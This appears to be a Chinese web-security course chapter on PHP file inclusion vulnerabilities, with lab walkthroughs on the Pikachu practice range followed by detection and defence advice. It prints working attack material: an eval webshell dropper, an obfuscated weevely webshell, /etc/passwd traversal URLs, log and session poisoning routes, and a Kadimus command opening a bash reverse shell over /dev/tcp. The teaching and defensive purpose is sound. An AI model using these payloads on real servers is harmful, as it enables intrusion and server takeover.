很多语言支持使用包含文件,这样允许开发者把可重复使用的代码存入单个文件中,在未来需要使用时,将它包含在其他代码文件中即可使用。
如果是像 C/C++ 这种编译语言,即使可以包含任意文件,若没有调用其中函数也不会有什么影响;但是像 PHP 这种解析型语言,文件放在服务器上被访问就可能被执行了,PHP 中常用的文件包含函数有:
- include()
- include_once()
- require()
- require_once()
当上述函数参数被外部任意控制时,就可以引用包含恶意代码的文件,导致执行恶意代码,这就是漏洞产生的原因。比如如下漏洞代码,由外部的 GET 参数 filename 控制包含的文件路径,就导致文件包含漏洞的产生。
<?php
$filename = $_GET['filename'];
include($filename);
?>
根据所包含的文件位置,可以分为远程文件包含和本地文件包含。
远程文件包含
若所包含的文件位于远程服务器,那么它就属于远程文件包含,这种情况需要服务端的 php.ini 支持以下配置:
- allow_url_fopen = On(允许打开远程文件)
- allow_url_include = On(允许包含远程文件,在 PHP 5.2 之后默认关闭)
以 Pikachu 靶场中的“File Inclusion(remote)”题目为例,先来看题目界面:
关键的漏洞代码如下:
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "$filename";//变量传进来直接包含,没做任何的安全限制
}
给 GET 参数 filename 传递个远程 PHP 文件地址即可包含进去,造成代码执行。我已经在另一台机器上存放 phpinfo.php 执行 phpinfo() 函数,地址是 http://127.0.0.1/phpinfo.php,phpinfo.php 代码如下:
<?php phpinfo(); ?>
此处我使用 Trmper Chrome 去抓包,然后在题目上的下拉菜单中选一个,点“提交”:
得到 GET 请求地址与参数,可以看出用于包含文件的参数 filename 被设置为 “include/file3.php”:
http://127.0.0.1:8080/vul/fileinclude/fi_remote.php?filename=include%2Ffile3.php&submit=%E6%8F%90%E4%BA%A4
修改 filename 参数为http:/127.0.0.1/phpinfo.php,该 phpinfo.php 就执行 phpinfo() 函数,访问如下 URL:
http://127.0.0.1:8080/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/phpinfo.php&submit=%E6%8F%90%E4%BA%A4
phpinfo 执行成功了:
接入来利用就简单了,我们直接远程包含一个创建一句话木马的 txt 文件,不用 PHP 后缀是为了避免在自己服务器被执行。
为了演示,我在 http://127.0.0.1/shell.txt 创建文件(如果你没有自己的服务器,去 github 上存储一个木马文件也是可行的),写入如下代码,用于生成一句话木马:
<?php
$a = "<?php eval(\$_POST['Cknife'])?>";
file_put_contents("a.php",$a);
?>
然后访问如下 URL 就会在服务端生成一句话木马文件 a.php:
http://127.0.0.1:8080/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/shell.txt&submit=%E6%8F%90%E4%BA%A4
成功生成一句话木马文件 a.php:
sudo docker exec -it 7286434c6e88 /bin/bash
root@7286434c6e88:/# cat /var/www/html/a.php
<?php eval($_POST['Cknife'])?>
可以用 Cknife、菜刀、冰蝎等客户端工具去连接一句话木马,就可以直接控制服务器了,此处不再赘述。
前面介绍的一句话木马比较容易被检测到,个人喜欢使用 weevely3,因为它支持变形的一句话木马:
$ python3 weevely.py
[+] weevely 4.0.1
[!] Error: the following arguments are required: path
[+] Run terminal or command on the target
weevely <URL> <password> [cmd]
[+] Recover an existing session
weevely session <path> [cmd]
[+] Generate new agent
weevely generate <password> <path>
$ python3 weevely.py generate 'test' ./shell.php
Generated './shell.php' with password 'test' of 761 byte size.
看下生成的 shell.php 代码,可以看到其内容都是经过混淆的,肉眼是很难直接看懂的,有助于逃过一些木马的查杀。
$ cat shell.php
<?php
$S='!("/$^!kh(.+^!)^!$kf/",@file^!_g^!et_content^!s("p^!hp^!://input"),$m^!)=^!=1) {@ob_star^!t^!();@ev';
$p='$^!k^!="098f6bcd";$kh="4^!62^!1d373c^!ad^!e";$kf^!="4e832627b^!4f6";$p="q^!BSPYX^!xS^!wBm8fbHZ";f^!u';
$x='=0;($^!j<$c&&$i<$^!l);$j++^!,$i^!++){$^!o.=$t{^!$i^!}^$k{^!$^!j};}}return $o;}if^! (^!@preg_match^';
$Y='^!al(^!@gzunc^!omp^!res^!s(@x(@base^!64_d^!ecode($m[^!1]),$k)));$^!o=@o^!b_get_conte^!nts()^!;@ob_e';
$k=str_replace('ha','','hacreathae_hafhaunhahaction');
$m='nc^!tio^!n x($t^!,$k^!)^!{$c=strlen($k)^!;$l=strlen(^!$t);$o=^!"";f^!^!or($i=^!0;$^!i<$l;^!){for($j';
$h='^!n^!d_clean();^!$^!r=@ba^!s^!e64^!_encode(@x(@gzcompre^!ss^!($o),^!$k));prin^!^!t("$p$kh$r$kf");}';
$E=str_replace('^!','',$p.$m.$x.$S.$Y.$h);
$o=$k('',$E);$o();
?>
但是工具一旦出名后,就容易被查杀,需要自己去做一些去特征化的免杀的处理,这不在本课程的讨论范围,有兴趣的话,你可以网上搜索关于木马免杀的文章。
之后 weevely.py 客户端直接连接就可以获得服务器的 shell 权限。
$ python3 weevely.py http://127.0.0.1:8080/shell.php test
[+] weevely 4.0.1
[+] Target: www-data@7286434c6e88:/app
[+] Session: /home/admin/.weevely/sessions/127.0.0.1/shell_1.session
[+] Shell: System shell
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely> ls
a.php
assets
Dockerfile
footer.php
header.php
inc
index.php
install.php
LICENSE
pkxss
README.md
shell.php
shell.txt
test
vul
wiki
www-data@7286434c6e88:/app $ id
uid=1000(www-data) gid=50(staff) groups=50(staff)
本地文件包含
如果加载的包含文件不允许从外部服务器获取,只能加载本地文件,那么这就属于本地文件包含。正常情况下,本地文件并不会包含一句话木马等恶意文件(需要使用其他更高级的利用技巧,具体见下文),但有时可以用来读取服务器的敏感文件,如果对方有回显的话。
比如 Pikachu 靶场的“File Inclusion(local)”题目,我们可以尝试读取 /etc/passwd 文件,构造如下请求:
http://127.0.0.1:8080/vul/fileinclude/fi_local.php?filename=../../../../../../../../etc/passwd&submit=%E6%8F%90%E4%BA%A4
成功读取到 /etc/passwd 文件。
漏洞利用技巧
随着PHP 5.2 之后默认关闭 allow_url_include 配置,也降低了远程文件包含漏洞的出现。但是本地文件包含漏洞的利用方式,很多也适用于远程文件包含漏洞,下面会介绍一些相对通用的利用技巧。
此处漏洞利用的目标仍然是为了获取服务器的 shell 权限,就需要设法在服务器上写入文件,内容自然是一句话等恶意代码内容。但是,我们手上又没有写任意文件的漏洞可利用,只能看看服务器上哪些文件会写入外部用户可控数据,或者其他可执行 PHP 代码的方式。
总结起来,主要有下面几种利用方式。
1.写日志文件
如果服务器开启访问日志记录的话,那么用户的请求数据就会被记录在日志文件,若我们在地址上包含一句话木马的话,也同样会被记录进去。如果将一句话写在 URL 中常常会被 URL 编码存储,因此需要写 User-Agent 中,其他 HTTP 头默认不会被记录:
写入一句话木马之后,利用方式前面已经多次讲过,此处不再赘述。
常见的日志文件路径有:
/var/log/apache/access_log
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/www/logs/access_log
/var/log/access_log
……
除此之外,还有些 SSH、FTP、邮件等可产生日志的地方都可以自由发挥。
2.写系统环境文件
/proc/self/environ 包含一些系统环境变量,比如 HTTP_USER_AGENT、HTTP_REFERER 等等,但需要 root 权限。如果当前的 web 应用无法写 /proc/self/environ 文件,就无法利用此方法,。
若拥有写 /proc/self/environ 的权限,那么可以在 User Agent 中写入创建一句话木马的 PHP 代码,然后再利用漏洞包含 /proc/self/environ 文件实现代码的执行,整个过程与写日志文件的方式类似。
3.写 Session 文件
PHP 中的 Session 文件用于存储 Session 数据,它是根据 PHPSESSID 来命名文件存储,它常见下面几个路径:
/var/lib/php/sessions/sess_{PHPSESSID}
/var/lib/php/sess_{PHPSESSID}
/tmp/sess_{PHPSESSID}
/tmp/sessions/sess_{PHPSESSID}
PHPSESSID 存放在 Cookie 中:
在 Pikachu 靶场中的对应 Session 文件为:
/var/lib/php/sessions/sess_v2lvugriupo8qm9r8c7ot7lol2
不过它是空文件,因为它没有写 Session 的行为。
但如果有用户数据存储到 Session 的行为,比如代码:
<?php
session_start();
$ctfs=$_GET['data'];
$_SESSION["username"]=$data;
?>
就可以通过 GET 参数 data 写入要执行的 PHP 代码,然后利用漏洞包含对应的 Session 文件就可以实现代码执行。这种利用方式不是那么通用,得多尝试才知道如何写数据到 Session 文件,甚至可能一直找不到。
4.利用上传文件
如果有上传文件的地址,并且可以知道上传路径,比如上传头像的位置,可以上传个写一句话木马的 jpg 文件,然后利用文件包含漏洞去执行。
5.利用 PHP 伪协议
PHP 拥有许多伪协议,在远程和本地文件包含中都可以使用,我做个表总结下:
此处直接利用 data:// 执行代码,这比远程文件包含中利用方式便捷太多了,比如下面直接系统命令的示例:
挖掘文件包含漏洞
1.动态检测思路
挖掘文件包含漏洞的方式与测试漏洞的利用思路是一样的,分为本地和远程两种情况。
- 远程文件包含漏洞检测
(1)向目标参数指定远程 URL 发起请求,确定远程服务器是否收到相应请求,此步骤可利用前面介绍过的 Burp Collaborator 进行测试。若发起请求说明有可能存在远程请求文件,同时也可能出现 SSRF 漏洞。
(2)如果第 1 步失败,尝试提交一个不存在的 IP 地址,并确认服务器尝试连接此 IP 时是否会出现超时。
(3)若第 1 步确认访问成功或者第 2 步确认请求超时,那么按前面介绍的利用方法,尝试利用远程文件包含漏洞以作最终确认。
- 本地文件包含漏洞检测
(1)向目标参数提交一个已知的可执行资源的文件路径,比如 PHP 文件路径,看应用程序是否有任何变化。
(2)向目标参数提交一个已知的静态资源的文件路径,比如图片,看它的内容是否会再现在响应数据中。
(3)若第 1 步或第 2 步出现引用指定资源的情况,则按前面介绍的利用技巧尝试对疑似本地文件包含漏洞进行测试验证。
上述检测思路既适用于手工测试,也适用于日常的自动化扫描。
2.静态检测思路
从源码入手,采用前面介绍过的污点分析思路进行代码审计。梳理下文件包含漏洞产生的相关 source 与 sink,然后去追踪数据流从 source 传播到 sink 过程中是否有进行过滤,若没有则可能存在文件包含漏洞。
3.自动化检测与利用工具:Kadimus
提到自动化扫描,这里推荐一款自动化检测与利用文件包含漏洞的工具,它叫 Kadimus,支持较多的利用方式,有部分是在前面未介绍到的,比如利用 /var/log/auth.log 实现远程代码执行的方法,利用它可以更加便捷地针对文件包含漏洞进行测试利用。
介绍几个常用命令:
# 检测参数是否存在文件包含漏洞
./kadimus -u localhost/?pg=contact -A my_user_agent
# 读取文件内容
./kadimus -u localhost/?pg=contact -S -f "index.php%00" -O local_output.php --parameter pg
# 执行PHP代码
./kadimus -u localhost/?pg=php://input%00 -C '<?php echo "pwned"; ?>' -T input
# 执行系统命令
./kadimus -t localhost/?pg=/var/log/auth.log -T auth -c 'ls -lah' --ssh-target localhost
# 反连shell
./kadimus -u localhost/?pg=contact.php -T data --parameter pg -lp 12345 -c '/bin/bash -c "bash -i >& /dev/tcp/172.17.0.1/1234 0>&1"' --retry-times 0
漏洞防御
1.白名单限制
如果已经知道要包含的文件范围,那么直接使用白名单限制,比如:
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
2.设置 open_basedir
在 php.ini 中设置 open_basedir,可允许将 PHP 打开的文件限制在指定的目录中,可有效防止跨目录访问一些系统敏感文件。除了 php.ini 设置方法外,还可在代码中设置:
ini_set(‘open_basedir’, ‘指定目录’);
3.关闭 allow_url_include
在 php.ini 中设置 allow_url_include=Off(默认关闭),避免远程文件包含,同时减少一些伪协议的攻击,提高漏洞利用成本。